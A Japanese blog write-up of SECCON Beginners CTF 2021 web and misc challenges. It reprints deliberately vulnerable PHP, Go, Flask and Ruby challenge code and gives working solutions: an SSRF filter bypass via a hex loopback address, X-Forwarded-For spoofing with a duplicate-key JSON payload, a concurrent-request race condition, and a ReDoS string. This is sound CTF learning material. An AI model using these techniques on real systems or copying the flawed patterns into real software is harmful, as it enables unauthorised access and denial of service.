Skip to main content

SECCON Beginners CTF 2021 writeup

@hyper0dietterさんに誘われてSECCON Beginners CTF 2021に参加してきました。 チームの最終順位は1033点で157位です。一時は80位になって二人で興奮してました。

自分は主にWebやってました。最後のmagicはあんまり時間もなくて通せずじまい。 @hyper0dietterさんはcryptoでなんがすごい数学使っててすごかった(小並)。

Web

check_url

URLをPOSTするとそこにcurlしてくれるアプリ。

 <!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->
 

localhostcurlさせられれば良いですね、しかし単純にlocalhost指定すると弾かれてしまいます。
curl 127.0.0.1正規表現の置換により .が置換されてしまいます。最初は :が置換除外されているのもありipv6で指定すれば良いのかと思いましたが、curlipv6アドレスそのまま渡すには
curl [0:0:0:0:0:ffff:7f00:0001] のようにアドレスをくくる必要があるらしく、[が置換されてしまい駄目でした。
最終的にipv4アドレスを. 無しにすれば良いと気づいて16進数にしたら通りました。0x7F000001をフォームからPOSTすればOK。

json

社内ネットワークからしか情報閲覧できない(らしい)社内アプリケーション。 bffアプリとapiアプリで別れてます。nginxに直接つながっているのはbffのみ。

 // bff/main.go
package main

import (
    "bytes"
    "encoding/json"
    "io/ioutil"
    "net"
    "net/http"

    "github.com/gin-gonic/gin"
)

type Info struct {
    ID int `json:"id" binding:"required"`
}

// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        ip := net.ParseIP(clientIP).To4()
        if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
            c.HTML(200, "error.tmpl", gin.H{
                "ip": clientIP,
            })
            c.Abort()
            return
        }
    }
}

func main() {
    r := gin.Default()
    r.Use(checkLocal())
    r.LoadHTMLGlob("templates/*")

    r.GET("/", func(c *gin.Context) {
        c.HTML(200, "index.html", nil)
    })

    r.POST("/", func(c *gin.Context) {
        // get request body
        body, err := ioutil.ReadAll(c.Request.Body)
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to read body."})
            return
        }

        // parse json
        var info Info
        if err := json.Unmarshal(body, &info); err != nil {
            c.JSON(400, gin.H{"error": "Invalid parameter."})
            return
        }

        // validation
        if info.ID < 0 || info.ID > 2 {
            c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
            return
        }

        if info.ID == 2 {
            c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
            return
        }

        // get data from api server
        req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }
        req.Header.Set("Content-Type", "application/json")
        client := new(http.Client)
        resp, err := client.Do(req)
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }
        defer resp.Body.Close()
        result, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }

        c.JSON(200, gin.H{"result": string(result)})
    })

    if err := r.Run(":8080"); err != nil {
        panic("server is not started")
    }
}
 
 // api/main.go
package main

import (
    "io/ioutil"
    "os"

    "github.com/buger/jsonparser"
    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()

    r.POST("/", func(c *gin.Context) {
        body, err := ioutil.ReadAll(c.Request.Body)
        if err != nil {
            c.String(400, "Failed to read body")
            return
        }

        id, err := jsonparser.GetInt(body, "id")
        if err != nil {
            c.String(400, "Failed to parse json")
            return
        }

        if id == 0 {
            c.String(200, "The quick brown fox jumps over the lazy dog.")
            return
        }
        if id == 1 {
            c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.")
            return
        }
        if id == 2 {
            // Flag!!!
            flag := os.Getenv("FLAG")
            c.String(200, flag)
            return
        }

        c.String(400, "No data")
    })

    if err := r.Run(":8000"); err != nil {
        panic("server is not started")
    }
}
 

この問題は2つ関門があります。
1つ目はbff/main.goのcheckLocal()の突破です。nginxの設定ファイルを見てみます。

 server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

} 

$proxy_add_x_forwarded_forをそのまま渡してるのでX-Forwarded-Forの改ざんは容易です。リクエストヘッダでX-Forwarded-ForをいじればOK。

2つ目はbffでのjsonチェックの回避です。 { "id": 2 }apiサーバーに送信したいのですが、bffのチェックに弾かれてしまいます。 bffとapijsonのパースの仕方が違うことに着目して、試しに{"id": 2, "id": 0}を渡したらbffのinfo構造体には0がマッピングされて、apijsonparser.GetInt(body, "id")では2を渡せたのでこれで解けました。

 curl -k  'https://json.quals.beginners.seccon.jp/' \
    -X POST \
  -H 'X-Forwarded-For:192.168.111.0' \
  -d '{"id": 2, "id": 0}' 

cant_use_db

DBではなくファイルシステムに直接writeして情報を永続化してるアプリ。

 import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect

app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)


def init_userdata(user_id):
    try:
        os.makedirs(f"./users/{user_id}", exist_ok=True)
        open(f"./users/{user_id}/balance.txt", "w").write("20000")
        open(f"./users/{user_id}/noodles.txt", "w").write("0")
        open(f"./users/{user_id}/soup.txt", "w").write("0")
        return True
    except:
        return False


def get_userdata(user_id):
    try:
        balance = open(f"./users/{user_id}/balance.txt").read()
        noodles = open(f"./users/{user_id}/noodles.txt").read()
        soup = open(f"./users/{user_id}/soup.txt").read()
        return [int(i) for i in [balance, noodles, soup]]
    except:
        return [0] * 3


@app.route("/")
def top_page():
    user_id = session.get("user")
    if not user_id:
        dirnames = datetime.datetime.now()
        user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
        if not init_userdata(user_id):
            return redirect("/")
        session["user"] = user_id
    userdata = get_userdata(user_id)
    info = {
        "user_id": re.sub("^[0-9]*?/", "", user_id),
        "balance": userdata[0],
        "noodles": userdata[1],
        "soup": userdata[2]
    }
    return render_template("index.html", info = info)


@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/buy_soup", methods=["POST"])
def buy_soup():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 20000:
        soup += 1
        open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 20000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸💸$20000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/eat")
def eat():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    shutil.rmtree(f"./users/{user_id}/")
    session["user"] = None
    if (noodles >= 2) and (soup >= 1):
        return os.getenv("CTF4B_FLAG")
    if (noodles >= 2):
        return "The noodles seem to get stuck in my throat."
    if (soup >= 1):
        return "This is soup, not ramen."
    return "Please make ramen."


if __name__ == "__main__":
    app.run()
 

セッションごとに所持金20000円で40000円分の買い物をしてねという問題。当然普通に順番にPOSTしても解けないです。
着眼点は明らかに怪しいtime.sleep(random.uniform(-0.2, 0.2) + 1.0)です。
買い物処理中に別の買い物プロセスを発火させれば他のプロセスがbalanceを書き換える前にbalanceチェックを突破することができます。 セッションだけセットして非同期でcurl

 curl -k  'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' \
      -X 'POST' \
      -H 'cookie: session=SESSION' &
  curl -k  'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' \
      -X 'POST' \
      -H 'cookie: session=SESSION' &
  curl -k  'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' \
      -X 'POST' \
      -H 'cookie: session=SESSION'
 

この後同じセッションつかって/eatをGETすればOK。

misc

Mail_Address_Validator

 #!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end
 

いわゆるRedosの問題。メールアドレスに対する正規表現のチェックに負荷をかけろというもの。一応60秒の制限もありクソデカ文字列では突破できません。

この問題については銀座Railsで全く同じ話を聞いたことがあったのでその方の素晴らしい資料を貼っておきます。

speakerdeck.com

 ~  nc mail-address-validator.quals.beginners.seccon.jp 5100

I check your mail address.
please puts your mail address.
username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde. 

でOK

感想

webの最初の問題が時事ネタで笑いました。事件を聞いて作成したのか元々この問題だったのかはわかりません。
CTFのwebを解いているといつも感じることですが、典型的なものも多いし明らかにヤバいコードの実例がわかるので、Web系企業の研修に最適だと思います。自分もX-Forwarded-Forはこの問題で初めて知りました。
運営の皆様ありがとうございました。楽しかったです。